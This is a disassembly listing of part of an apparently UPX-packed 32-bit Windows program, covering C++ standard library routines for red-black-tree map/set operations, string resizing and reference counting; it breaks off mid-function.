push edi
mov [ebp+var_8], eax
mov [ebp+var_4], eax
cmp [ebx+1Ch], eax
jnz short loc_405635
mov ecx, [ebx+18h]
loc_40561E: ; CODE XREF: sub_405603+67j
push [ebp+arg_4]
push 1
loc_405623: ; CODE XREF: sub_405603+A7j
mov esi, ebx
loc_405625: ; CODE XREF: sub_405603+F6j
; sub_405603+100j ...
push [ebp+arg_0]
call sub_405CA8
mov eax, [ebp+arg_0]
jmp loc_40578E
; ---------------------------------------------------------------------------
loc_405635: ; CODE XREF: sub_405603+16j
mov eax, [ebx+18h]
mov eax, [eax]
mov [ebp+var_C], eax
mov eax, [ebx]
lea edi, [ebp+var_10]
lea esi, [ebp+arg_8]
mov [ebp+var_10], eax
call sub_4052D2
test al, al
jz short loc_40566C
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_4]
add eax, 10h
call sub_406F5E
test al, al
jz loc_405773
mov ecx, [ebp+arg_C]
jmp short loc_40561E
; ---------------------------------------------------------------------------
loc_40566C: ; CODE XREF: sub_405603+4Cj
mov eax, [ebx+18h]
mov [ebp+var_C], eax
mov eax, [ebx]
lea edi, [ebp+var_10]
lea esi, [ebp+arg_8]
mov [ebp+var_10], eax
call sub_4052D2
test al, al
jz short loc_4056AF
mov eax, [ebx+18h]
mov ecx, [eax+8]
mov eax, [ebp+arg_4]
add ecx, 10h
call sub_406F5E
test al, al
jz loc_405773
push [ebp+arg_4]
mov eax, [ebx+18h]
mov ecx, [eax+8]
push 0
jmp loc_405623
; ---------------------------------------------------------------------------
loc_4056AF: ; CODE XREF: sub_405603+81j
mov eax, [ebp+arg_C]
mov edi, [ebp+arg_4]
add eax, 10h
mov ecx, edi
call sub_406F5E
test al, al
jz short loc_405708
mov eax, [ebp+arg_8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_C]
lea esi, [ebp+var_8]
mov [ebp+var_4], eax
call sub_405E74
mov eax, [eax+4]
lea ecx, [eax+10h]
mov eax, edi
call sub_406F5E
test al, al
jz short loc_405708
mov ecx, [ebp+var_4]
mov eax, [ecx+8]
cmp byte ptr [eax+49h], 0
push edi
mov esi, ebx
jz short loc_4056FE
loc_4056F7: ; CODE XREF: sub_405603+164j
push 0
jmp loc_405625
; ---------------------------------------------------------------------------
loc_4056FE: ; CODE XREF: sub_405603+F2j
mov ecx, [ebp+arg_C]
push 1
jmp loc_405625
; ---------------------------------------------------------------------------
loc_405708: ; CODE XREF: sub_405603+BEj
; sub_405603+E3j
mov ecx, [ebp+arg_C]
add ecx, 10h
mov eax, edi
call sub_406F5E
test al, al
jz short loc_405773
mov eax, [ebp+arg_8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_C]
mov [ebp+var_4], eax
mov eax, [ebx+18h]
mov [ebp+var_C], eax
mov eax, [ebx]
lea esi, [ebp+var_8]
mov [ebp+var_10], eax
call sub_405E27
lea edi, [ebp+var_10]
mov esi, eax
call sub_4052D2
test al, al
jnz short loc_405758
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
add eax, 10h
call sub_406F5E
test al, al
jz short loc_405773
loc_405758: ; CODE XREF: sub_405603+141j
mov ecx, [ebp+arg_C]
mov eax, [ecx+8]
cmp byte ptr [eax+49h], 0
push [ebp+arg_4]
mov esi, ebx
jnz short loc_4056F7
mov ecx, [ebp+var_4]
push 1
jmp loc_405625
; ---------------------------------------------------------------------------
loc_405773: ; CODE XREF: sub_405603+5Ej
; sub_405603+96j ...
push [ebp+arg_4]
push ebx
lea ebx, [ebp+var_14]
call sub_405B2E
mov edx, [eax]
mov ecx, [ebp+arg_0]
mov [ecx], edx
mov eax, [eax+4]
mov [ecx+4], eax
mov eax, ecx
loc_40578E: ; CODE XREF: sub_405603+2Dj
pop edi
pop esi
pop ebx
leave
retn 10h
sub_405603 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405795 proc near ; CODE XREF: sub_4052AA+13p
var_8 = byte ptr -8
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push ecx
push ecx
mov eax, [esi+18h]
mov ecx, [esi]
mov edx, [eax]
push eax
push ecx
push edx
push ecx
lea eax, [esp+18h+var_8]
push eax
mov eax, esi
call sub_405BF2
push dword ptr [esi+18h]
call sub_40AC11
and dword ptr [esi+18h], 0
and dword ptr [esi+1Ch], 0
pop ecx
mov esp, ebp
pop ebp
retn
sub_405795 endp
; =============== S U B R O U T I N E =======================================
sub_4057C9 proc near ; CODE XREF: sub_4051B7+D7p
; sub_417ECD+E6p ...
mov eax, [esi]
test eax, eax
jnz short loc_4057DA
call sub_40B27B
mov eax, [esi]
test eax, eax
jz short loc_4057DE
loc_4057DA: ; CODE XREF: sub_4057C9+4j
mov eax, [eax]
jmp short loc_4057E0
; ---------------------------------------------------------------------------
loc_4057DE: ; CODE XREF: sub_4057C9+Fj
xor eax, eax
loc_4057E0: ; CODE XREF: sub_4057C9+13j
mov ecx, [esi+4]
cmp ecx, [eax+18h]
jnz short loc_4057ED
call sub_40B27B
loc_4057ED: ; CODE XREF: sub_4057C9+1Dj
mov eax, [esi+4]
add eax, 10h
retn
sub_4057C9 endp
; =============== S U B R O U T I N E =======================================
sub_4057F4 proc near ; CODE XREF: sub_4050AA+42p
push 0
mov eax, offset loc_41C48E
call sub_40C46D
mov edi, [ebp+8]
and dword ptr [edi+4], 0
lea esi, [edi+8]
mov dword ptr [edi], offset off_423EF0
call sub_401E9F
mov dword ptr [esi], offset off_423FF8
mov dword ptr [esi+24h], offset off_424010
mov dword ptr [esi+28h], (offset loc_42403F+1)
mov dword ptr [esi+2Ch], offset off_42406C
mov dword ptr [esi+30h], offset off_4240E8
mov dword ptr [esi+34h], offset off_424114
mov dword ptr [esi+38h], offset off_424130
mov dword ptr [esi+40h], offset off_42414C
mov dword ptr [esi+44h], offset off_424160
mov dword ptr [esi+48h], offset off_424184
mov dword ptr [esi+4Ch], offset off_4241D4
mov [esi+50h], edi
and dword ptr [ebp-4], 0
mov ecx, dword_42EE90
mov eax, [ecx]
call dword ptr [eax+4]
mov eax, edi
call sub_40C50C
retn 4
sub_4057F4 endp
; =============== S U B R O U T I N E =======================================
sub_40587D proc near ; CODE XREF: UPX0:00405977p
push 4
mov eax, offset loc_41C468
call sub_40C46D
mov [ebp-10h], ecx
mov dword ptr [ecx], offset off_423EF0
and dword ptr [ebp-4], 0
lea esi, [ecx+8]
mov dword ptr [ecx+4], 0C0000001h
mov ecx, esi
call sub_4024D9
mov ecx, dword_42EE90
mov eax, [ecx]
call dword ptr [eax+8]
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, esi
call sub_401F64
call sub_40C50C
retn
sub_40587D endp
; ---------------------------------------------------------------------------
mov eax, [esp+4]
inc dword ptr [eax+4]
mov eax, [eax+4]
retn 4
; ---------------------------------------------------------------------------
loc_4058D0: ; DATA XREF: UPX0:00423EF8o
mov ecx, [esp+4]
dec dword ptr [ecx+4]
push esi
mov esi, [ecx+4]
jnz short loc_4058E8
test ecx, ecx
jz short loc_4058E8
mov eax, [ecx]
push 1
call dword ptr [eax+0Ch]
loc_4058E8: ; CODE XREF: UPX0:004058DBj
; UPX0:004058DFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4058EE proc near ; DATA XREF: UPX0:off_423EF0o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push esi
xor esi, esi
cmp ebx, esi
jnz short loc_405903
mov eax, 80004003h
jmp short loc_405933
; ---------------------------------------------------------------------------
loc_405903: ; CODE XREF: sub_4058EE+Cj
mov eax, [ebp+arg_4]
mov [ebx], esi
call sub_40141D
test eax, eax
mov eax, [ebp+arg_0]
jz short loc_40591E
mov [ebx], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
jmp short loc_405931
; ---------------------------------------------------------------------------
loc_40591E: ; CODE XREF: sub_4058EE+24j
push [ebp+arg_4]
add eax, 8
push eax
mov eax, offset off_423D48
call sub_4015BD
mov esi, eax
loc_405931: ; CODE XREF: sub_4058EE+2Ej
mov eax, esi
loc_405933: ; CODE XREF: sub_4058EE+13j
pop esi
pop ebx
pop ebp
retn 0Ch
sub_4058EE endp
; ---------------------------------------------------------------------------
loc_405939: ; CODE XREF: UPX0:0040718Bj
; UPX0:004071A9j ...
mov eax, [esp+4]
mov eax, [eax+2Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
retn 4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40717C
loc_405949: ; CODE XREF: sub_40717C+5j
; UPX0:00407195j ...
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
retn 4
; END OF FUNCTION CHUNK FOR sub_40717C
; ---------------------------------------------------------------------------
loc_405959: ; CODE XREF: UPX0:004071B3j
; UPX0:004071DBj ...
push dword ptr [esp+0Ch]
mov eax, [esp+8]
mov eax, [eax+2Ch]
push dword ptr [esp+0Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx]
retn 0Ch
; =============== S U B R O U T I N E =======================================
sub_405970 proc near ; DATA XREF: UPX0:00424008o
mov eax, [ecx+50h]
retn
sub_405970 endp
; ---------------------------------------------------------------------------
loc_405974: ; DATA XREF: UPX0:00423EFCo
push esi
mov esi, ecx
call sub_40587D
test byte ptr [esp+8], 1
jz short loc_40598A
push esi
call sub_40AC11
pop ecx
loc_40598A: ; CODE XREF: UPX0:00405981j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_405990: ; CODE XREF: UPX0:0041C463j
; UPX0:0041C489j
jmp sub_401F64
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405995 proc near ; CODE XREF: sub_4054D8+1Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
push edi
mov esi, ecx
call sub_405FED
test al, al
jz short loc_4059C7
cmp dword ptr [esi+18h], 10h
jb short loc_4059B4
mov eax, [esi+4]
jmp short loc_4059B7
; ---------------------------------------------------------------------------
loc_4059B4: ; CODE XREF: sub_405995+18j
lea eax, [esi+4]
loc_4059B7: ; CODE XREF: sub_405995+1Dj
push [ebp+arg_4]
sub edi, eax
push edi
push esi
mov ecx, esi
call sub_405446
jmp short loc_405A01
; ---------------------------------------------------------------------------
loc_4059C7: ; CODE XREF: sub_405995+12j
push 0
push [ebp+arg_4]
mov ecx, esi
call sub_405A92
test al, al
jz short loc_4059FF
mov ecx, [esi+18h]
cmp ecx, 10h
jb short loc_4059E4
mov eax, [esi+4]
jmp short loc_4059E7
; ---------------------------------------------------------------------------
loc_4059E4: ; CODE XREF: sub_405995+48j
lea eax, [esi+4]
loc_4059E7: ; CODE XREF: sub_405995+4Dj
push [ebp+arg_4]
push edi
push ecx
push eax
call sub_4049C9
add esp, 10h
push [ebp+arg_4]
mov ecx, esi
call sub_405A76
loc_4059FF: ; CODE XREF: sub_405995+40j
mov eax, esi
loc_405A01: ; CODE XREF: sub_405995+30j
pop edi
pop esi
pop ebp
retn 8
sub_405995 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405A07 proc near ; CODE XREF: sub_405446+33p
; sub_405446+3Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, ecx
cmp [esi+14h], edi
jnb short loc_405A1B
call sub_40ABCE
loc_405A1B: ; CODE XREF: sub_405A07+Dj
mov eax, [esi+14h]
sub eax, edi
cmp eax, [ebp+arg_4]
jnb short loc_405A28
mov [ebp+arg_4], eax
loc_405A28: ; CODE XREF: sub_405A07+1Cj
cmp [ebp+arg_4], 0
jbe short loc_405A6E
mov ecx, [esi+18h]
push ebx
lea edx, [esi+4]
cmp ecx, 10h
jb short loc_405A3E
mov ebx, [edx]
jmp short loc_405A40
; ---------------------------------------------------------------------------
loc_405A3E: ; CODE XREF: sub_405A07+31j
mov ebx, edx
loc_405A40: ; CODE XREF: sub_405A07+35j
cmp ecx, 10h
jb short loc_405A47
mov edx, [edx]
loc_405A47: ; CODE XREF: sub_405A07+3Cj
sub eax, [ebp+arg_4]
add ebx, edi
add ebx, [ebp+arg_4]
push eax
push ebx
sub ecx, edi
push ecx
add edx, edi
push edx
call sub_4049E5
mov eax, [esi+14h]
sub eax, [ebp+arg_4]
add esp, 10h
push eax
mov ecx, esi
call sub_405A76
pop ebx
loc_405A6E: ; CODE XREF: sub_405A07+25j
pop edi
mov eax, esi
pop esi
pop ebp
retn 8
sub_405A07 endp
; =============== S U B R O U T I N E =======================================
sub_405A76 proc near ; CODE XREF: sub_405138+Cp
; sub_40515A+Cp ...
arg_0 = dword ptr 4
cmp dword ptr [ecx+18h], 10h
mov eax, [esp+arg_0]
mov [ecx+14h], eax
jb short loc_405A88
mov ecx, [ecx+4]
jmp short loc_405A8B
; ---------------------------------------------------------------------------
loc_405A88: ; CODE XREF: sub_405A76+Bj
add ecx, 4
loc_405A8B: ; CODE XREF: sub_405A76+10j
mov byte ptr [ecx+eax], 0
retn 4
sub_405A76 endp
; =============== S U B R O U T I N E =======================================
sub_405A92 proc near ; CODE XREF: sub_405446+49p
; sub_405995+39p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFEh
jbe short loc_405AA4
call sub_40AB96
loc_405AA4: ; CODE XREF: sub_405A92+Bj
cmp [esi+18h], edi
jnb short loc_405AB6
push dword ptr [esi+14h]
mov ecx, esi
push edi
call sub_405F0B
jmp short loc_405AE3
; ---------------------------------------------------------------------------
loc_405AB6: ; CODE XREF: sub_405A92+15j
cmp [esp+8+arg_4], 0
jz short loc_405AD7
cmp edi, 10h
jnb short loc_405AD7
mov eax, [esi+14h]
cmp edi, eax
jnb short loc_405ACB
mov eax, edi
loc_405ACB: ; CODE XREF: sub_405A92+35j
push eax
push 1
mov ecx, esi
call sub_4054FB
jmp short loc_405AE3
; ---------------------------------------------------------------------------
loc_405AD7: ; CODE XREF: sub_405A92+29j
; sub_405A92+2Ej
test edi, edi
jnz short loc_405AE3
push edi
mov ecx, esi
call sub_405A76
loc_405AE3: ; CODE XREF: sub_405A92+22j
; sub_405A92+43j ...
xor eax, eax
cmp eax, edi
sbb eax, eax
pop edi
neg eax
pop esi
retn 8
sub_405A92 endp
; =============== S U B R O U T I N E =======================================
sub_405AF0 proc near ; CODE XREF: sub_4051B7+89p
; sub_406482+3Dp
arg_0 = dword ptr 4
and dword ptr [esi+14h], 0
push ebx
xor eax, eax
mov dword ptr [esi+18h], 7
push 0FFFFFFFFh
mov [esi+4], ax
mov eax, [esp+8+arg_0]
push esi
xor ebx, ebx
call sub_406028
mov eax, esi
pop ebx
retn 4
sub_405AF0 endp
; =============== S U B R O U T I N E =======================================
sub_405B16 proc near ; CODE XREF: sub_405546+6Cp
; sub_4055BC+3Fp ...
cmp dword ptr [eax+18h], 8
mov [eax+14h], ecx
jb short loc_405B24
mov eax, [eax+4]
jmp short loc_405B27
; ---------------------------------------------------------------------------
loc_405B24: ; CODE XREF: sub_405B16+7j
add eax, 4
loc_405B27: ; CODE XREF: sub_405B16+Cj
xor edx, edx
mov [eax+ecx*2], dx
retn
sub_405B16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405B2E proc near ; CODE XREF: sub_405603+177p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+18h]
push edi
mov edi, [eax+4]
mov [ebp+var_4], eax
mov byte ptr [ebp+var_8], 1
jmp short loc_405B64
; ---------------------------------------------------------------------------
loc_405B48: ; CODE XREF: sub_405B2E+3Aj
mov ecx, [ebp+arg_4]
lea eax, [edi+10h]
mov [ebp+var_4], edi
call sub_406F5E
mov byte ptr [ebp+var_8], al
test al, al
jz short loc_405B61
mov edi, [edi]
jmp short loc_405B64
; ---------------------------------------------------------------------------
loc_405B61: ; CODE XREF: sub_405B2E+2Dj
mov edi, [edi+8]
loc_405B64: ; CODE XREF: sub_405B2E+18j
; sub_405B2E+31j
cmp byte ptr [edi+49h], 0
jz short loc_405B48
cmp byte ptr [ebp+var_8], 0
mov edi, [ebp+var_4]
mov eax, [esi]
mov [ebp+var_C], edi
mov [ebp+var_10], eax
jz short loc_405BC7
mov ecx, [esi+18h]
mov ecx, [ecx]
lea edi, [ebp+var_18]
lea esi, [ebp+var_10]
mov [ebp+var_14], ecx
mov [ebp+var_18], eax
call sub_4052D2
test al, al
jz short loc_405BB9
push [ebp+arg_4]
mov esi, [ebp+arg_0]
push 1
loc_405B9D: ; CODE XREF: sub_405B2E+AEj
mov ecx, [ebp+var_4]
lea eax, [ebp+var_18]
push eax
call sub_405CA8
mov ecx, [eax]
mov eax, [eax+4]
mov [ebx], ecx
mov [ebx+4], eax
mov byte ptr [ebx+8], 1
jmp short loc_405BEA
; ---------------------------------------------------------------------------
loc_405BB9: ; CODE XREF: sub_405B2E+65j
lea esi, [ebp+var_10]
call sub_405E74
mov edi, [ebp+var_C]
mov esi, [ebp+arg_0]
loc_405BC7: ; CODE XREF: sub_405B2E+4Bj
mov eax, [ebp+arg_4]
lea ecx, [edi+10h]
call sub_406F5E
test al, al
jz short loc_405BDE
push [ebp+arg_4]
push [ebp+var_8]
jmp short loc_405B9D
; ---------------------------------------------------------------------------
loc_405BDE: ; CODE XREF: sub_405B2E+A6j
mov eax, [ebp+var_10]
mov [ebx], eax
mov [ebx+4], edi
mov byte ptr [ebx+8], 0
loc_405BEA: ; CODE XREF: sub_405B2E+89j
pop edi
mov eax, ebx
pop esi
leave
retn 8
sub_405B2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405BF2 proc near ; CODE XREF: sub_405795+1Ap
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
mov ebx, eax
mov eax, [ebx+18h]
mov eax, [eax]
push esi
mov [ebp+var_8], eax
mov eax, [ebx]
push edi
lea edi, [ebp+var_C]
lea esi, [ebp+arg_4]
mov [ebp+var_C], eax
call sub_4052D2
test al, al
jz short loc_405C85
mov eax, [ebx+18h]
mov [ebp+var_8], eax
mov eax, [ebx]
lea edi, [ebp+var_C]
lea esi, [ebp+arg_C]
mov [ebp+var_C], eax
call sub_4052D2
test al, al
jz short loc_405C85
mov eax, [ebx+18h]
push dword ptr [eax+4]
mov ecx, ebx
call sub_40664D
mov eax, [ebx+18h]
mov [eax+4], eax
mov eax, [ebx+18h]
and dword ptr [ebx+1Ch], 0
mov [eax], eax
mov eax, [ebx+18h]
mov [eax+8], eax
mov eax, [ebx+18h]
mov ecx, [eax]
mov eax, [ebp+arg_0]
mov [eax+4], ecx
mov ecx, [ebx]
mov [eax], ecx
jmp short loc_405CA1
; ---------------------------------------------------------------------------
loc_405C66: ; CODE XREF: sub_405BF2+A0j
mov eax, [ebp+arg_8]
mov edi, [ebp+arg_4]
lea esi, [ebp+arg_4]
mov [ebp+var_8], eax
call sub_405E27
push [ebp+var_8]
lea eax, [ebp+var_14]
push edi
push eax
push ebx
call sub_406130
loc_405C85: ; CODE XREF: sub_405BF2+25j
; sub_405BF2+3Fj
lea edi, [ebp+arg_C]
lea esi, [ebp+arg_4]
call sub_4052D2
test al, al
jz short loc_405C66
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov ebx, [ebx]
mov [eax], ebx
mov [eax+4], ecx
loc_405CA1: ; CODE XREF: sub_405BF2+72j
pop edi
pop esi
pop ebx
leave
retn 14h
sub_405BF2 endp
; =============== S U B R O U T I N E =======================================
sub_405CA8 proc near ; CODE XREF: sub_405603+25p
; sub_405B2E+76p
push 48h
mov eax, offset loc_41C442
call sub_40C46D
mov edi, ecx
cmp dword ptr [esi+1Ch], 4924923h
jb short loc_405CF1
push offset aMapSetTTooLong ; "map/set<T> too long"
lea ecx, [ebp-2Ch]
call sub_405138
and dword ptr [ebp-4], 0
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-54h]
call sub_404A01
push offset dword_426E48
lea eax, [ebp-54h]
push eax
mov dword ptr [ebp-54h], offset off_41D4F4
call sub_40C03B
loc_405CF1: ; CODE XREF: sub_405CA8+15j
push dword ptr [ebp+10h]
mov eax, [esi+18h]
push eax
push edi
push eax
call sub_406482
inc dword ptr [esi+1Ch]
mov ebx, eax
mov eax, [esi+18h]
cmp edi, eax
jnz short loc_405D18
mov [eax+4], ebx
mov eax, [esi+18h]
mov [eax], ebx
mov eax, [esi+18h]
jmp short loc_405D36
; ---------------------------------------------------------------------------
loc_405D18: ; CODE XREF: sub_405CA8+61j
cmp byte ptr [ebp+0Ch], 0
jz short loc_405D2B
mov [edi], ebx
mov eax, [esi+18h]
cmp edi, [eax]
jnz short loc_405D39
mov [eax], ebx
jmp short loc_405D39
; ---------------------------------------------------------------------------
loc_405D2B: ; CODE XREF: sub_405CA8+74j
mov [edi+8], ebx
mov eax, [esi+18h]
cmp edi, [eax+8]
jnz short loc_405D39
loc_405D36: ; CODE XREF: sub_405CA8+6Ej
mov [eax+8], ebx
loc_405D39: ; CODE XREF: sub_405CA8+7Dj
; sub_405CA8+81j ...
mov edi, ebx
lea eax, [ebx+4]
jmp loc_405DCD
; ---------------------------------------------------------------------------
loc_405D43: ; CODE XREF: sub_405CA8+12Bj
mov ecx, [eax]
mov edx, [ecx+4]
cmp ecx, [edx]
jnz short loc_405D81
mov edx, [edx+8]
cmp byte ptr [edx+48h], 0
jz short loc_405D89
cmp edi, [ecx+8]
jnz short loc_405D62
push esi
mov edi, ecx
call sub_4063D6
loc_405D62: ; CODE XREF: sub_405CA8+B0j
mov eax, [edi+4]
mov byte ptr [eax+48h], 1
mov eax, [edi+4]
mov eax, [eax+4]
mov byte ptr [eax+48h], 0
mov eax, [edi+4]
mov ecx, [eax+4]
push esi
call sub_406416
jmp short loc_405DCA
; ---------------------------------------------------------------------------
loc_405D81: ; CODE XREF: sub_405CA8+A2j
mov edx, [edx]
cmp byte ptr [edx+48h], 0
jnz short loc_405DA1
loc_405D89: ; CODE XREF: sub_405CA8+ABj
mov byte ptr [ecx+48h], 1
mov byte ptr [edx+48h], 1
mov ecx, [eax]
mov ecx, [ecx+4]
mov byte ptr [ecx+48h], 0
mov eax, [eax]
mov edi, [eax+4]
jmp short loc_405DCA
; ---------------------------------------------------------------------------
loc_405DA1: ; CODE XREF: sub_405CA8+DFj
cmp edi, [ecx]
jnz short loc_405DAD
push esi
mov edi, ecx
call sub_406416
loc_405DAD: ; CODE XREF: sub_405CA8+FBj
mov eax, [edi+4]
mov byte ptr [eax+48h], 1
mov eax, [edi+4]
mov eax, [eax+4]
mov byte ptr [eax+48h], 0
mov eax, [edi+4]
mov ecx, [eax+4]
push esi
call sub_4063D6
loc_405DCA: ; CODE XREF: sub_405CA8+D7j
; sub_405CA8+F7j
lea eax, [edi+4]
loc_405DCD: ; CODE XREF: sub_405CA8+96j
mov ecx, [eax]
cmp byte ptr [ecx+48h], 0
jz loc_405D43
mov eax, [esi+18h]
mov eax, [eax+4]
mov byte ptr [eax+48h], 1
mov eax, [ebp+8]
mov ecx, [esi]
mov [eax+4], ebx
mov [eax], ecx
call sub_40C50C
retn 0Ch
sub_405CA8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_405DF5 proc near ; CODE XREF: sub_4051B7+30p
; sub_417ECD+2Ap
arg_0 = dword ptr 4
mov eax, [eax+18h]
push esi
mov esi, [eax+4]
push edi
mov edi, eax
jmp short loc_405E1A
; ---------------------------------------------------------------------------
loc_405E01: ; CODE XREF: sub_405DF5+29j
mov eax, [esp+8+arg_0]
lea ecx, [esi+10h]
call sub_406F5E
test al, al
jz short loc_405E16
mov esi, [esi+8]
jmp short loc_405E1A
; ---------------------------------------------------------------------------
loc_405E16: ; CODE XREF: sub_405DF5+1Aj
mov edi, esi
mov esi, [esi]
loc_405E1A: ; CODE XREF: sub_405DF5+Aj
; sub_405DF5+1Fj
cmp byte ptr [esi+49h], 0
jz short loc_405E01
mov eax, edi
pop edi
pop esi
retn 4
sub_405DF5 endp
; =============== S U B R O U T I N E =======================================
sub_405E27 proc near ; CODE XREF: sub_405603+130p
; sub_405BF2+80p ...
push ebx
xor ebx, ebx
cmp [esi], ebx
jnz short loc_405E33
call sub_40B27B
loc_405E33: ; CODE XREF: sub_405E27+5j
mov eax, [esi+4]
cmp [eax+49h], bl
jz short loc_405E42
call sub_40B27B
jmp short loc_405E70
; ---------------------------------------------------------------------------
loc_405E42: ; CODE XREF: sub_405E27+12j
mov ecx, [eax+8]
cmp [ecx+49h], bl
jnz short loc_405E65
jmp short loc_405E4E
; ---------------------------------------------------------------------------
loc_405E4C: ; CODE XREF: sub_405E27+2Cj
mov ecx, eax
loc_405E4E: ; CODE XREF: sub_405E27+23j
mov eax, [ecx]
cmp [eax+49h], bl
jz short loc_405E4C
mov [esi+4], ecx
jmp short loc_405E70
; ---------------------------------------------------------------------------
loc_405E5A: ; CODE XREF: sub_405E27+44j
mov ecx, [esi+4]
cmp ecx, [eax+8]
jnz short loc_405E6D
mov [esi+4], eax
loc_405E65: ; CODE XREF: sub_405E27+21j
mov eax, [eax+4]
cmp [eax+49h], bl
jz short loc_405E5A
loc_405E6D: ; CODE XREF: sub_405E27+39j
mov [esi+4], eax
loc_405E70: ; CODE XREF: sub_405E27+19j
; sub_405E27+31j
mov eax, esi
pop ebx
retn
sub_405E27 endp
; =============== S U B R O U T I N E =======================================
sub_405E74 proc near ; CODE XREF: sub_405603+CFp
; sub_405B2E+8Ep
push ebx
xor ebx, ebx
cmp [esi], ebx
jnz short loc_405E80
call sub_40B27B
loc_405E80: ; CODE XREF: sub_405E74+5j
mov eax, [esi+4]
cmp [eax+49h], bl
jz short loc_405E95
mov eax, [eax+8]
mov [esi+4], eax
cmp [eax+49h], bl
jz short loc_405ED1
jmp short loc_405EC7
; ---------------------------------------------------------------------------
loc_405E95: ; CODE XREF: sub_405E74+12j
mov ecx, [eax]
cmp [ecx+49h], bl
jnz short loc_405EB7
jmp short loc_405EA0
; ---------------------------------------------------------------------------
loc_405E9E: ; CODE XREF: sub_405E74+32j
mov ecx, eax
loc_405EA0: ; CODE XREF: sub_405E74+28j
mov eax, [ecx+8]
cmp [eax+49h], bl
jz short loc_405E9E
mov [esi+4], ecx
jmp short loc_405ED1
; ---------------------------------------------------------------------------
loc_405EAD: ; CODE XREF: sub_405E74+49j
mov ecx, [esi+4]
cmp ecx, [eax]
jnz short loc_405EBF
mov [esi+4], eax
loc_405EB7: ; CODE XREF: sub_405E74+26j
mov eax, [eax+4]
cmp [eax+49h], bl
jz short loc_405EAD
loc_405EBF: ; CODE XREF: sub_405E74+3Ej
mov ecx, [esi+4]
cmp [ecx+49h], bl
jz short loc_405ECE
loc_405EC7: ; CODE XREF: sub_405E74+1Fj
call sub_40B27B
jmp short loc_405ED1
; ---------------------------------------------------------------------------
loc_405ECE: ; CODE XREF: sub_405E74+51j
mov [esi+4], eax
loc_405ED1: ; CODE XREF: sub_405E74+1Dj
; sub_405E74+37j ...
mov eax, esi
pop ebx
retn
sub_405E74 endp
; ---------------------------------------------------------------------------
push esi
push dword ptr [esp+8]
mov esi, ecx
call sub_404B1F
mov dword ptr [esi], offset off_41D4F4
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_405EED proc near ; CODE XREF: sub_40725D+3j
; DATA XREF: UPX0:00423FFCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
mov eax, esi
call sub_401F64
test [esp+4+arg_0], 1
jz short loc_405F05
push esi
call sub_40AC11
pop ecx
loc_405F05: ; CODE XREF: sub_405EED+Fj
mov eax, esi
pop esi
retn 4
sub_405EED endp
; =============== S U B R O U T I N E =======================================
sub_405F0B proc near ; CODE XREF: sub_405A92+1Dp
push 0Ch
mov eax, offset loc_41C166
call sub_40C4A0
mov edi, ecx
mov [ebp-18h], edi
mov esi, [ebp+8]
or esi, 0Fh
cmp esi, 0FFFFFFFEh
jbe short loc_405F2C
mov esi, [ebp+8]
jmp short loc_405F51
; ---------------------------------------------------------------------------
loc_405F2C: ; CODE XREF: sub_405F0B+1Aj
xor edx, edx
push 3
mov eax, esi
pop ebx
div ebx
mov ecx, [edi+18h]
mov [ebp-14h], ecx
shr dword ptr [ebp-14h], 1
mov edx, [ebp-14h]
cmp eax, edx
jnb short loc_405F51
push 0FFFFFFFEh
pop eax
sub eax, edx
cmp ecx, eax
ja short loc_405F51
lea esi, [edx+ecx]
loc_405F51: ; CODE XREF: sub_405F0B+1Fj
; sub_405F0B+38j ...
and dword ptr [ebp-4], 0
lea eax, [esi+1]
push 0
push eax
call sub_406FCF
pop ecx
pop ecx
mov ebx, eax
jmp short loc_405F90
; ---------------------------------------------------------------------------
loc_405F66: ; DATA XREF: UPX0:00427214o
mov eax, [ebp+8]
mov [ebp-10h], esp
mov [ebp+8], eax
inc eax
push 0
push eax
mov byte ptr [ebp-4], 2
call sub_406FCF
pop ecx
mov [ebp-14h], eax
pop ecx
mov eax, offset loc_405F87
retn
; ---------------------------------------------------------------------------
loc_405F87: ; DATA XREF: sub_405F0B+76o
